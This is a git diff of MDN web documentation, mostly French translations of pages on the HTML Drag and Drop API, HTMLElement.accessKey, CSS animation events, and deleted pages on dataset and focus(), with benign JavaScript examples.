+  var data = event.dataTransfer.getData("text/plain");
+  event.target.textContent = data;
+  event.preventDefault();
+}
+
+ +

The getData method takes one argument, the type of data to retrieve. It will return the string value that was set when the setData was called at the beginning of the drag operation. An empty string will be returned if data of that type does not exist. Naturally though, you would likely know that the right type of data was available, as it was previously checked during a dragover event.

+ +

In the example here, once we have retrieved the data, we insert the string as the textual content of the target. This has the effect of inserting the dragged text where it was dropped, assuming that the drop target is an area of text such as a p or div element.

+ +

In a web page, you should call the preventDefault method of the event if you have accepted the drop so that the default browser handling does not handle the droppped data as well. For example, when a link is dragged to a web page, Firefox will open the link. By cancelling the event, this behaviour will be prevented.

+ +

You can retrieve other types of data as well. If the data is a link, it should have the type text/uri-list. You could then insert a link into the content.

+ +
function doDrop(event)
+{
+  var links = event.dataTransfer.getData("text/uri-list").split("\n");
+  for each (var link in links) {
+    if (link.indexOf("#") == 0)
+      continue;
+
+    var newlink = document.createElement("a");
+    newlink.href = link;
+    newlink.textContent = link;
+    event.target.appendChild(newlink);
+  }
+  event.preventDefault();
+}
+
+ +

This example inserts a link from the dragged data. As you might be able to guess from the name, the text/uri-list type actually may contain a list of URLs, each on a separate line. In this code, we use the split to split the string into lines, then iterate over the list of lines, inserting each as a link into the document. Note also that we skip links starting with a number sign (#) as these are comments.

+ +

For simple cases, you can use the special type URL to just retrieve the first valid URL in the list. For example:

+ +
var link = event.dataTransfer.getData("URL");
+
+ +

This eliminates the need to check for comments or iterate through lines yourself, however it is limited to only the first URL in the list.

+ +

The URL type is a special type used only as a shorthand, and it does not appear within the list of types specified in the types property.

+ +

Sometimes you may support a number of different formats, and you want to retrieve the data that is most specific that is supported. In this example, three formats are support by a drop target.

+ +

The following example returns the data associated with the best supported format:

+ +
function doDrop(event)
+{
+  var types = event.dataTransfer.types;
+  var supportedTypes = ["application/x-moz-file", "text/uri-list", "text/plain"];
+  types = supportedTypes.filter(function (value) types.contains(value));
+  if (types.length)
+    var data = event.dataTransfer.getData(types[0]);
+  event.preventDefault();
+}
+
+ +

This method relies on JavaScript functionality available in Firefox 3. However the code could be adjusted to support other platforms.

+ +

Finishing a Drag

+ +

Once the drag is complete, a dragend is fired at the source of the drag (the same element that received the dragstart event). This event will fire if the drag was successful or if it was cancelled. However, you can use the dropEffect to determine what drop operation occurred.

+ +

If the dropEffect property has the value none during a dragend, then the drag was cancelled. Otherwise, the effect specifies which operation was performed. The source can use this information after a move operation to remove the dragged item from the old location. The mozUserCancelled property will be set to true if the user cancelled the drag (by pressing Escape), and false if the drag was cancelled for other reasons such as an invalid drop target, or if was successful.

+ +

A drop can occur inside the same window or over another application. The dragend event will always fire regardless. The event's screenX and screenY properties will be set to the screen coordinate where the drop occurred.

+ +

After the dragend event has finished propagating, the drag and drop operation is complete.

diff --git a/files/fr/web/api/html_drag_and_drop_api/index.html b/files/fr/web/api/html_drag_and_drop_api/index.html new file mode 100644 index 0000000000..fd73e301f8 --- /dev/null +++ b/files/fr/web/api/html_drag_and_drop_api/index.html @@ -0,0 +1,268 @@ +--- +title: Glisser et déposer +slug: Web/API/API_HTML_Drag_and_Drop +tags: + - Avancé + - Glisser-deposer + - Guide + - HTML + - drag and drop +translation_of: Web/API/HTML_Drag_and_Drop_API +--- +

{{DefaultAPISidebar("HTML Drag and Drop API")}}

+ +

L'interface HTML Drag and Drop (pour glisser-déposer) permet à des applications d'utiliser des fonctionnalités de glisser-déposer dans le navigateur. L'utilisateur pourra sélectionner des éléments déplaçables à la souris et les déplacer vers un élément où on peut déposer en relâchant le bouton de la souris. Une représentation translucide de l'élément déplacé suit le pointeur lors de l'opération.

+ +

Pour les sites web et les extensions, on peut personnaliser les éléments qui peuvent être déplacés, la façon dont ceux-ci sont signalés et les éléments qui peuvent servir de destination.

+ +

L'aperçu de cette API inclut une description des interfaces, les étapes à suivre pour prendre en charge ces fonctionnalités dans une application et un aperçu de l'interopérabilité de ces interfaces.

+ +

Évènements de déplacement

+ +

L'API HTML Drag and Drop utilise le modèle d'évènements du DOM ({{domxref("Event")}}) ainsi que les éléments de déplacements ({{domxref("DragEvent")}}) hérités des évènements liés à la souris ({{domxref("MouseEvent")}}). Une opération de déplacement commence généralement lorsqu'un utilisateur sélectionne un élément déplaçable puis qu'il le déplace sur un élément de destination avant de relâcher l'élément déplacé.

+ +

Lors des opérations de déplacement, plusieurs évènements sont déclenchés (dont certains qui sont déclenchés à plusieurs reprises comme {{event("drag")}} et {{event("dragover")}}).

+ +

Chaque type d'évènement de déplacement possède un gestionnaire d'évènement global (une méthode on...) :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ÉvènementGestionnaire d'évènement globalDéclenchement
{{event('drag')}}{{domxref('GlobalEventHandlers.ondrag','ondrag')}}…un objet déplaçable (que ce soit un élément ou une sélection de texte) est déplacée.
{{event('dragend')}}{{domxref('GlobalEventHandlers.ondragend','ondragend')}}…une opération de déplacement se termine (en relâchant le bouton de la souris ou en utilisant la touche Echap, voir Terminer un déplacement)
{{event('dragenter')}}{{domxref('GlobalEventHandlers.ondragenter','ondragenter')}}…un élément en cours de déplacement arrive sur une zone de dépôt valide (voir indiquer une cible de destination).
{{event('dragexit')}}{{domxref('GlobalEventHandlers.ondragexit','ondragexit')}}…un élément n'est plus la sélection immédiate du déplacement.
{{event('dragleave')}}{{domxref('GlobalEventHandlers.ondragleave','ondragleave')}}…un élément en cours de déplacement quitte une zone de dépôt valide.
{{event('dragover')}}{{domxref('GlobalEventHandlers.ondragover','ondragover')}}…un élément en cours de déplacement est en cours de survol d'une zone de dépôt valide (cet évènement est déclenché toutes les quelques centaines de millisecondes).
{{event('dragstart')}}{{domxref('GlobalEventHandlers.ondragstart','ondragstart')}}…l'utilisateur commence à déplacer un élément (voir démarrer une opération de glissement).
{{event('drop')}}{{domxref('GlobalEventHandlers.ondrop','ondrop')}}…un élément est déposé sur une cible valide (voir déposer un élément).
+ +

Note : Les évènements dragstart et dragend ne sont pas déclenchés lors qu'on glisse-dépose un fichier de l'appareil dans le navigateur.

+ +

Interfaces

+ +

Les interfaces fournies par cette API sont

+ +
    +
  • {{domxref("DragEvent")}},
    • +
  • {{domxref("DataTransfer")}},
    • +
  • {{domxref("DataTransferItem")}}
    • +
  • {{domxref("DataTransferItemList")}}.
    • +
+ +

L'interface {{domxref("DragEvent")}} possède un constructeur et une propriété {{domxref("DragEvent.dataTransfer","dataTransfer")}} qui est un objet {{domxref("DataTransfer")}}.

+ +

Les objets {{domxref("DataTransfer")}} incluent l'état du glisser-déposer, le type de déplacement (copy ou move), les données déplacées (un ou plusieurs objets) et le type MIME de chaque objet déplacé. Les objets {{domxref("DataTransfer")}} possèdent également des méthodes permettant d'ajouter ou de retirer des objets aux données déplacées.

+ +

Les interfaces {{domxref("DragEvent")}} et {{domxref("DataTransfer")}} sont standard et suffisent à apporter des fonctionnalités de glisser/déposer. Toutefois, Firefox prend en charge quelques extensions spécifiques à Gecko (cf. ci-après) pour l'objet {{domxref("DataTransfer")}} (bien entendu, ces extensions ne fonctionneront que dans Firefox et pas dans les autres navigateurs).

+ +

Chaque objet {{domxref("DataTransfer")}} possède une propriété  {{domxref("DataTransfer.items","items")}} qui est une liste ({{domxref("DataTransferItemList","list")}}) d'objets {{domxref("DataTransferItem")}}. Un objet {{domxref("DataTransferItem")}} représente un seul objet déplacé, avec une propriété {{domxref("DataTransferItem.kind","kind")}} qui indique s'il s'agit d'un texte (string) ou d'un fichier (file) et une propriété {{domxref("DataTransferItem.type","type")}} qui correspond au type MIME de la donnée déplacée. L'objet {{domxref("DataTransferItem")}} possède également des méthodes pour consulter les données de l'objet déplacé.

+ +

L'objet {{domxref("DataTransferItemList")}} est une liste d'objets {{domxref("DataTransferItem")}}. La liste possède des méthodes pour ajouter un objet en déplacement à la liste, pour retirer un objet de la liste ou pour vider la liste de tout ses objets.

+ +

La différence principale entre {{domxref("DataTransfer")}} et {{domxref("DataTransferItem")}} est l'utilisation de la méthode synchrone {{domxref("DataTransfer.getData","getData()")}} pour la première et de la méthode asynchrone {{domxref("DataTransferItem.getAsString","getAsString()")}} pour la deuxième.

+ +

Note : {{domxref("DragEvent")}} et {{domxref("DataTransfer")}} sont largement prises en charge par les navigateurs de bureau tandis que {{domxref("DataTransferItem")}} et {{domxref("DataTransferItemList")}} ont une compatibilité plus restreinte. Voir la section ci-après sur l'interopérabilité.

+ +

Interfaces spécifiques à Gecko

+ +

Mozilla / Firefox prend en charge certaines fonctionnalités qui ne font pas partie du modèle standard. Ce sont des fonctions utilitaires pour aider au déplacement de plusieurs objets ou de données qui ne sont pas du texte (des fichiers par exemple). Pour plus d'informations, voir Glisser-déposer plusieurs objets. Voir aussi la page de référence de {{domxref("DataTransfer")}} pour la liste de l'ensemble des propriétés spécifique à Gecko et des méthodes spécifiques à Gecko.

+ +

Bases

+ +

Dans cette section, nous allons voir les premières étapes nécessaires aux fonctionnalités de glisser-déposer dans une application.

+ +

Identifier ce qui peut être déplacé

+ +

Pour qu'un élément puisse être déplacé, il faut lui ajouter l'attribut {{htmlattrxref("draggable")}} ainsi que le gestionnaire d'évènement global {{domxref("GlobalEventHandlers.ondragstart","ondragstart")}} :

+ +
<script>
+function dragstart_handler(ev) {
+ // On ajoute l'identifiant de l'élément cible à l'objet de transfert
+ ev.dataTransfer.setData("text/plain", ev.target.innerText);
+}
+</script>
+
+<p id="p1" draggable="true" ondragstart="dragstart_handler(event)">Cet élément est déplaçable.</p>
+
+ +

Voir la page de référence sur l'attribut draggable et le guide sur les opérations de déplacement pour plus d'informations.

+ +

Définir les données déplacées

+ +

Une application peut inclure plusieurs objets dans une opération de glisser/déposer. Chaque objet est une chaîne de caractères ({{domxref("DOMString")}}) ayant un type MIME particulier (indiqué par son attribut type) tel que text/html.

+ +

Chaque {{domxref("DragEvent")}} possède une propriété  {{domxref("DragEvent.dataTransfer","dataTransfer")}} contenant les données transportées. Cette propriété (un objet {{domxref("DataTransfer")}}) possède des méthodes pour gérer les données transportées. La méthode {{domxref("DataTransfer.setData","setData()")}} permet d'ajouter un objet aux données transportées :

+ +
function dragstart_handler(ev) {
+  // On ajoute différents types de données transportées
+  ev.dataTransfer.setData("text/plain", ev.target.innerText);
+  ev.dataTransfer.setData("text/html", ev.target.outerHTML);
+  ev.dataTransfer.setData("text/uri-list", ev.target.ownerDocument.location.href);
+}
+
+ +

Pour connaître la liste des types de donnée communément utilisées lors d'un glisser/déposer (texte, HTML, liens, fichiers, etc.), voir les types recommandés. Pour plus d'informations sur les informations transportées, voir Drag Data.

+ +

Définir l'image pour le déplacement

+ +

Par défaut, le navigateur fournit une image qui apparaît à côté du pointeur lors de l'opération de déplacement. Toutefois, une application peut définir une image personnalisée grâce à la méthode {{domxref("DataTransfer.setDragImage","setDragImage()")}} :

+ +
function dragstart_handler(ev) {
+  // On crée une image qu'on utilise pour le déplacement
+  // Note : on changera "example.gif" vers une vraie image
+  // (sinon l'image par défaut sera utilisée)
+  var img = new Image();
+  img.src = 'example.gif';
+  ev.dataTransfer.setDragImage(img, 10, 10);
+}
+
+ +

Pour en savoir plus, voir Définir l'image de feedback pour le glisser-déposer.

+ +

Définir l'effet de déplacement

+ +

La propriété {{domxref("DataTransfer.dropEffect","dropEffect")}} est utilisée pour fournir un retour à l'utilisateur qui effectue l'opération de glisser/déposer. Généralement, cela se traduit par la modification du curseur affiché par le navigateur lors du déplacement.

+ +

Il est possible de définir trois effets :

+ +
    +
  • copy : indique que les données déplacées seront copiées depuis l'emplacement source vers la cible.
    • +
  • move : indique que les données déplacées seront déplacées depuis l'emplacement source vers la cible.
    • +
  • link : indique qu'une relation ou une connexion sera créée entre la source et la cible.
    • +
+ +

Lors de l'opération de déplacement, les effets peuvent être modifiés afin d'indiquer que certains effets sont autorisés à certains emplacements.

+ +

Voici un exemple illustrant l'utilisation de cette propriété.

+ +
function dragstart_handler(ev) {
+  ev.dataTransfer.dropEffect = "copy";
+}
+
+ +

See Drag Effects for more details.

+ +

Définir la zone où déposer l'élément déplacé

+ +

Par défaut, le navigateur empêche de déposer quoi que ce soit sur la plupart des éléments HTML. Pour modifier ce comportement, il faut qu'un élément devienne une zone cible ou qu'il soit identifié comme "droppable". L'élément doit avoir les deux gestionnaires d'évènements {{domxref("GlobalEventHandlers.ondragover","ondragover")}} et {{domxref("GlobalEventHandlers.ondrop","ondrop")}} comme attributs. Dans l'exemple suivant, on montre comment utiliser ces attributs et on fournit des gestionnaires d'évènements simples associés :

+ +
<script>
+function dragover_handler(ev) {
+ ev.preventDefault();
+ ev.dataTransfer.dropEffect = "move";
+}
+function drop_handler(ev) {
+ ev.preventDefault();
+ // On récupère l'identifiant de la cible et on ajoute l'élément déplacé au DOM de la cible
+ var data = ev.dataTransfer.getData("text/plain");
+ ev.target.appendChild(document.getElementById(data));
+}
+</script>
+
+<p id="target" ondrop="drop_handler(event)" ondragover="dragover_handler(event)">Zone pour déposer</p>
+
+ +

On voit ici que chaque gestionnaire invoque {{domxref("Event.preventDefault","preventDefault()")}} afin d'éviter toute gestion d'évènement ultérieure (comme les évènements tactiles ou les évènements de pointeur).

+ +

Pour plus d'information, voir Indiquer une cible pour un glisser-déposer.

+ +

Gérer le dépôt de l'objet

+ +

Le gestionnaire de l'évènement {{event("drop")}} permet de gérer les données déposées avec la logique de l'application. Généralement, une application utilisera {{domxref("DataTransfer.getData","getData()")}} afin de récupérer les données déplacées et les traitera. L'application peut choisir d'avoir un comportement différent selon la valeur de {{domxref("DataTransfer.dropEffect","dropEffect")}} et/ou celles des autres propriétés.

+ +

Dans l'exemple suivant, on montre un gestionnaire pour le dépot de l'objet : on récupère l'identifiant (id) de l'élément déplacé puis on utilise celui-ci afin de le déplacer depuis la source vers la cible :

+ +
<script>
+function dragstart_handler(ev) {
+ // On ajoute l'identifiant de l'élément cible à l'objet de transfert
+ ev.dataTransfer.setData("application/my-app", ev.target.id);
+ ev.dataTransfer.dropEffect = "move";
+}
+function dragover_handler(ev) {
+ ev.preventDefault();
+ ev.dataTransfer.dropEffect = "move"
+}
+function drop_handler(ev) {
+ ev.preventDefault();
+ // On obtient l'identifiant de la cible et on ajoute l'élément déplacé
+ // au DOM de la cible
+ var data = ev.dataTransfer.getData("application/my-app");
+ ev.target.appendChild(document.getElementById(data));
+}
+</script>
+
+<p id="p1" draggable="true" ondragstart="dragstart_handler(event)">Cet élément peut être déplacé.</p>
+<div id="target" ondrop="drop_handler(event)" ondragover="dragover_handler(event)">Zone pour le dépôt</div>
+
+ +

Pour plus d'information, voir Gérer le dépôt lors d'une opération de glisser-déposer.

+ +

Terminer l'opération de glisser/déposer

+ +

À la fin de l'opération, c'est l'évènement {{event("dragend")}} qui est déclenché sur l'élément source (celui qui a été "saisi" au début). Cet évènement est déclenché lorsque l'opération est terminée ou qu'elle a été annulée. Le gestionnaire d'évènement pour {{event("dragend")}} peut vérifier la valeur de la propriété {{domxref("DataTransfer.dropEffect","dropEffect")}} afin de déterminer si l'opération a réussi ou non.

+ +

Pour plus d'informations sur la gestion de la fin d'une opération de glisser-déposer, voir Terminer un glisser-déposer.

+ +

Interopérabilité

+ +

Comme on peut le voir dans le tableau de compatibilité pour l'interface DataTransferItem, la prise en charge du drag-and-drop est assez répandue parmi les navigateurs de bureau à l'exception des interfaces {{domxref("DataTransferItem")}} et {{domxref("DataTransferItemList")}}. Ce tableau montre également que la prise en charge sur mobile est assez faible.

+ +

Exemples et démos

+ + + +

Voir aussi

+ + diff --git a/files/fr/web/api/htmlelement/accesskey/index.html b/files/fr/web/api/htmlelement/accesskey/index.html new file mode 100644 index 0000000000..2d84dd6dae --- /dev/null +++ b/files/fr/web/api/htmlelement/accesskey/index.html @@ -0,0 +1,22 @@ +--- +title: Element.accessKey +slug: Web/API/Element/accessKey +tags: + - API + - DOM + - Element + - Propriété + - Raccourcis clavier + - Reference +translation_of: Web/API/HTMLElement/accessKey +translation_of_original: Web/API/Element/accessKey +--- +
{{APIRef("DOM")}}
+ +
 
+ +

La propriété Element.accessKey définit la touche sur laquelle l'utilisateur doit appuyer pour accéder à l'élément.

+ +
+

Note : La propriété Element.accessKey est rarement utilisée en raison de ses multiples conflits avec des raccourcis clavier déjà présents dans les navigateurs. Pour contourner ce problème, les navigateurs appliquent le comportement attendu de "accesskey" lorsqu'une autre touche est pressée simultanément (comme Alt + accesskey).

+
diff --git a/files/fr/web/api/htmlelement/animationend_event/index.html b/files/fr/web/api/htmlelement/animationend_event/index.html new file mode 100644 index 0000000000..1fdeba6e63 --- /dev/null +++ b/files/fr/web/api/htmlelement/animationend_event/index.html @@ -0,0 +1,81 @@ +--- +title: animationend +slug: Web/Events/animationend +translation_of: Web/API/HTMLElement/animationend_event +--- +

L'événement animationend est déclenché quand une animation CSS est terminée.

+ +

Informations générales

+ +
+
Spécification
+
CSS Animations
+
Interface
+
AnimationEvent
+
Propagation
+
Oui
+
Annulable
+
Non
+
Cible
+
Document, Element, Window
+
Action par défaut
+
Aucune
+
+ +

Propriétés

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropriétéTypeDescription
target {{ReadOnlyInline}}{{domxref("EventTarget")}}La cible de l'événement (la plus haute cible dans l'arbre du DOM).
type {{ReadOnlyInline}}{{domxref("DOMString")}}Le type de l'événement.
bubbles {{ReadOnlyInline}}booleanEst-ce que l'événement se propage?
cancelable {{ReadOnlyInline}}booleanEst-il possible d'annuler l'événement?
animationName {{ReadOnlyInline}}{{domxref("DOMString")}}Le nom de la propriété CSS associéee à la transition.
elapsedTime {{ReadOnlyInline}}FloatLe temps durant lequel l'animation a durée, en secondes, quand l'événement est déclenché, excepté le temps lorsque l'animation était en pause. Pour un événement animationstart, elapsedTime vaut zéro à moins que animation-delay ne soit négatif, et dans ce cas, l'événement sera déclenché avec un elapsedTime de (-1 * delay).
+ +

Evénements liés

+ +
    +
  • {{Event("animationstart")}}
    • +
  • {{Event("animationend")}}
    • +
  • {{Event("animationiteration")}}
    • +
+ +

Voir aussi

+ + diff --git a/files/fr/web/api/htmlelement/animationiteration_event/index.html b/files/fr/web/api/htmlelement/animationiteration_event/index.html new file mode 100644 index 0000000000..df8e3d89be --- /dev/null +++ b/files/fr/web/api/htmlelement/animationiteration_event/index.html @@ -0,0 +1,83 @@ +--- +title: animationiteration +slug: Web/Events/animationiteration +translation_of: Web/API/HTMLElement/animationiteration_event +--- +

L'événement animationiteration est déclenché lorsqu'une itération d'une animation se termine. Cet événement ne se produit pas pour les animations avec animation-iteration-count valant 1.

+ +

informations générales

+ +
+
Spécification
+
CSS Animations
+
Interface
+
AnimationEvent
+
Synchronisme
+
synchronous
+
Propagation
+
Oui
+
Annulable
+
Non
+
Cible
+
Document, Element
+
Action par défaut
+
Aucune
+
+ +

Propriétés

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropriétéTypeDescription
target {{ReadOnlyInline}}{{domxref("EventTarget")}}La cible de l'événement (la plus haute cible dans l'arbre du DOM).
type {{ReadOnlyInline}}{{domxref("DOMString")}}Le type de l'événement.
bubbles {{ReadOnlyInline}}booleanEst-ce que l'événement se propage?
cancelable {{ReadOnlyInline}}booleanEst-il possible d'annuler l'événement?
animationName {{ReadOnlyInline}}{{domxref("DOMString")}}Le nom de la propriété CSS associéee à la transition.
elapsedTime {{ReadOnlyInline}}FloatLe temps durant lequel l'animation a durée, en secondes, quand l'événement est déclenché, excepté le temps lorsque l'animation était en pause. Pour un événement animationstart, elapsedTime vaut zéro à moins que animation-delay ne soit négatif, et dans ce cas, l'événement sera déclenché avec un elapsedTime de (-1 * delay).
+ +

Evénements liés

+ +
    +
  • {{Event("animationstart")}}
    • +
  • {{Event("animationend")}}
    • +
  • {{Event("animationiteration")}}
    • +
+ +

Voir aussi

+ + diff --git a/files/fr/web/api/htmlelement/animationstart_event/index.html b/files/fr/web/api/htmlelement/animationstart_event/index.html new file mode 100644 index 0000000000..407bcb6dea --- /dev/null +++ b/files/fr/web/api/htmlelement/animationstart_event/index.html @@ -0,0 +1,81 @@ +--- +title: animationstart +slug: Web/Events/animationstart +translation_of: Web/API/HTMLElement/animationstart_event +--- +

L'événement animationstart est déclenché quand une animation CSS a commencé. Si animation-delay est défini alors le déclenchement se fera une fois le delai expiré. Un délai négatif causera un déclenchement de l'événement avec un elapsedTime équivalent à la valeur absolue du délai.

+ +

Informations générales

+ +
+
Spécification
+
CSS Animations
+
Interface
+
AnimationEvent
+
Propagation
+
Oui
+
Annulable
+
Non
+
Cible
+
Document, Element
+
Action par défaut
+
Aucune
+
+ +

Propriétés

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropriétéTypeDescription
target {{ReadOnlyInline}}{{domxref("EventTarget")}}La cible de l'événement (la plus haute cible dans l'arbre du DOM).
type {{ReadOnlyInline}}{{domxref("DOMString")}}Le type de l'événement.
bubbles {{ReadOnlyInline}}booleanEst-ce que l'événement se propage?
cancelable {{ReadOnlyInline}}booleanEst-il possible d'annuler l'événement?
animationName {{ReadOnlyInline}}{{domxref("DOMString")}}Le nom de la propriété CSS associéee à la transition.
elapsedTime {{ReadOnlyInline}}FloatLe temps durant lequel l'animation a durée, en secondes, quand l'événement est déclenché, excepté le temps lorsque l'animation était en pause. Pour un événement animationstart, elapsedTime vaut zéro à moins que animation-delay ne soit négatif, et dans ce cas, l'événement sera déclenché avec un elapsedTime de (-1 * delay).
+ +

Evénements liés

+ +
    +
  • {{Event("animationstart")}}
    • +
  • {{Event("animationend")}}
    • +
  • {{Event("animationiteration")}}
    • +
+ +

Voir aussi

+ + diff --git a/files/fr/web/api/htmlelement/dataset/index.html b/files/fr/web/api/htmlelement/dataset/index.html deleted file mode 100644 index fa7ece8acc..0000000000 --- a/files/fr/web/api/htmlelement/dataset/index.html +++ /dev/null @@ -1,102 +0,0 @@ ---- -title: HTMLElement.dataset -slug: Web/API/HTMLElement/dataset -tags: - - API - - HTML DOM - - HTMLElement - - Propriété - - Référence(2) - - dataset -translation_of: Web/API/HTMLOrForeignElement/dataset ---- -

{{ APIRef }}

- -

La propriété HTMLElement.dataset fournit un accès en mode lecture et écriture, à tous les attributs de données sur mesure (data-*) définis sur l'élément. C'est un tableau associatif de DOMString, qui associe à chaque nom d'attribut de données sur mesure la valeur qu'il contient.

- -

Le nom d'un attribut de données sur mesure commence par data-. Il ne doit contenir que des lettres, des nombres et les caractères suivants : tiret (-), point (.), deux-points (:), tiret bas (_). De plus, il ne doit pas contenir des lettres majuscules ASCII (A à Z).

- -

Un nom d'attribut de données sur mesure est transformé en clef pour l'entrée de la {{ domxref("DOMStringMap") }} avec les règles suivantes :

- -
    -
  • le préfixe data- est enlevé (y compris le tiret) ;
    • -
  • pour tout tiret (U+002D) suivi par une  lettre minuscule ASCII a à z, le tiret est enlevé et la lettre est transformée en la majuscule correspondante ;
    • -
  • les autres caractères (y compris les autres tirets) ne sont pas modifiés.
    • -
- -

La transformation opposée, qui associe un nom d'attribut à une clef, utilise les règles suivantes :

- -
    -
  • Restriction : Aucun tiret ne doit être immédiatement suivi d'une lettre minuscule ASCII a à z (avant la transformation) ;
    • -
  • un préfixe data- est ajouté ;
    • -
  • toute lettre majuscule ASCII A à Z est transformée en un tiret suivi de la minuscule correspondante ;
    • -
  • les autres caractères ne sont pas modifiés.
    • -
- -

La restriction dans les règles ci-dessus garantit que les deux transformations sont bien l'inverse l'une de l'autre.

- -

Par exemple, l'attribut nommé data-abc-def correspond à la clef abcDef.

- -

Syntaxe

- -
chaîne = element.dataset.nomEnCamelCase;
-element.dataset.nomEnCamelCase = chaîne;
- -

Exemples

- -
<div id="utilisateur" data-id="1234567890" data-utilisateur="Monsieur Tartempion" data-date-de-naissance>Monsieur Tartempion
-</div>
-
-var el = document.querySelector('#utilisateur');
-
-// el.id == 'utilisateur'
-// el.dataset.id === '1234567890'
-// el.dataset.utilisateur === 'Monsieur Tartempion'
-// el.dataset.dateDeNaissance === ''
-
-el.dataset.dateDeNaissance = '1960-10-03'; // renseigne la date de naissance.
-
-// 'unAttributDeDonnees' in el.dataset === false
-
-el.dataset.unAttributDeDonnees = 'mes données';
-// 'unAttributDeDonnees' in el.dataset === true
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaire
{{SpecName('HTML WHATWG', "dom.html#dom-dataset", "HTMLElement.dataset")}}{{Spec2('HTML WHATWG')}}Pas de changement depuis le dernier instantané (snapshot), {{SpecName('HTML5.1')}}
{{SpecName('HTML5.1', "dom.html#dom-dataset", "HTMLElement.dataset")}}{{Spec2('HTML5.1')}}Instantané de {{SpecName('HTML WHATWG')}}, pas de changement depuis {{SpecName('HTML5 W3C')}}
{{SpecName('HTML5 W3C', "dom.html#dom-dataset", "HTMLElement.dataset")}}{{Spec2('HTML5 W3C')}}Instantané de {{SpecName('HTML WHATWG')}}, définition initiale.
- -

Compatibilité des navigateurs

- - - -

{{Compat("api.HTMLElement.dataset")}}

- -

Voir aussi

- -
    -
  • La classe des attributs globaux HTML data-*.
    • -
diff --git a/files/fr/web/api/htmlelement/focus/index.html b/files/fr/web/api/htmlelement/focus/index.html deleted file mode 100644 index 3659a5a75b..0000000000 --- a/files/fr/web/api/htmlelement/focus/index.html +++ /dev/null @@ -1,223 +0,0 @@ ---- -title: HTMLElement.focus() -slug: Web/API/HTMLElement/focus -tags: - - API - - HTML DOM - - HTMLElement -translation_of: Web/API/HTMLOrForeignElement/focus ---- -
{{ APIRef("HTML DOM") }}
- -

La méthode HTMLElement.focus() donne le focus à l'élément spécifié, s'il peut prendre le focus.

- -

Syntaxe

- -
element.focus();
-element.focus(focusOption); // Paramètre objet
- -

Paramètres

- -
-
focusOptions {{optional_inline}} {{experimental_inline}}
-
Est un objet ayant les propriétés suivantes:
-
-
-
preventScroll {{optional_inline}}
-
Est une valeur Boolean: -
    -
  • Si false, la méthode fera défiler la page pour que l'élément soit visible à l'écran.
    • -
  • Si true,  la méthode ne fera PAS défiler la page pour que l'élément soit visible à l'écran.
    • -
-
-
-
-
- -

Exemples

- -

Donner le focus à un champ texte

- -

JavaScript

- -
focusMethod = function getFocus() {
-  document.getElementById("myTextField").focus();
-}
- -

HTML

- -
<input type="text" id="myTextField" value="Champ texte.">
-<p></p>
-<button type="button" onclick="focusMethod()">Cliquez-moi pour donner le focus au champ texte!</button>
- -

Résultat

- -

{{ EmbedLiveSample('Focus_on_a_text_field') }}

- -

Donner le focus à un bouton

- -

JavaScript

- -
focusMethod = function getFocus() {
-  document.getElementById("myButton").focus();
-}
- -

HTML

- -
<button type="button" id="myButton">Cliquez!</button>
-<p></p>
-<button type="button" onclick="focusMethod()">Cliquez-moi pour donner le focus au bouton!</button>
- -

Résultat

- -

{{ EmbedLiveSample('Focus_on_a_button') }}

- -

Focus avec option

- -

JavaScript

- -
focusScrollMethod = function getFocus() {
-  document.getElementById("myButton").focus({preventScroll:false});
-}
-focusNoScrollMethod = function getFocusWithoutScrolling() {
-  document.getElementById("myButton").focus({preventScroll:true});
-}
- -

HTML

- -
<button type="button" onclick="focusScrollMethod()">Cliquez-moi pour donner le focus au bouton!</button>
-<button type="button" onclick="focusNoScrollMethod()">Cliquez-moi pour donner le focus au bouton sans défilement!</button>
-
-<div id="container" style="height: 1000px; width: 1000px;">
-<button type="button" id="myButton" style="margin-top: 500px;">Cliquez!</button>
-</div>
- -

Résultat

- -

{{ EmbedLiveSample('Focus_prevent_scroll') }}

- -

Spécification

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'editing.html#dom-focus', 'focus')}}{{Spec2('HTML WHATWG')}}
{{SpecName('HTML5.1', 'editing.html#focus()-0', 'focus')}}{{Spec2('HTML5.1')}}
{{SpecName('HTML5 W3C', 'editing.html#dom-focus', 'focus')}}{{Spec2('HTML5 W3C')}}
{{SpecName('DOM2 HTML', 'html.html#ID-32130014', 'focus')}}{{Spec2('DOM2 HTML')}}
{{SpecName('DOM1', 'level-one-html.html#method-focus', 'focus')}}{{Spec2('DOM1')}}
- -

Notes

- -

Si vous appelez HTMLElement.focus() à partir d'un gestionnaire d'événement mousedown, vous devez appeler event.preventDefault() pour empêcher le focus de quitter l'HTMLElement.

- -

Compatibilité des navigateurs

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FonctionnalitéChromeFirefoxEdgeInternet ExplorerOperaSafari (WebKit)
Support basique{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
focusOptions{{CompatChrome(64)}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatOperaMobile(51)}}{{CompatNo}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FonctionnalitéAndroid WebviewChrome for AndroidFirefox MobileEdge mobileIE mobileOpera AndroidSafari iOS
Support basique{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
focusOptions{{CompatChrome(64)}}{{CompatChrome(64)}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatOperaMobile(51)}}{{CompatNo}}
-
- -

Voir aussi

- -
    -
  • La méthode DOM {{domxref("HTMLElement.blur()")}} pour retirer le focus.
    • -
  • {{domxref('document.activeElement')}} pour savoir quel élément a actuellement le focus.
    • -
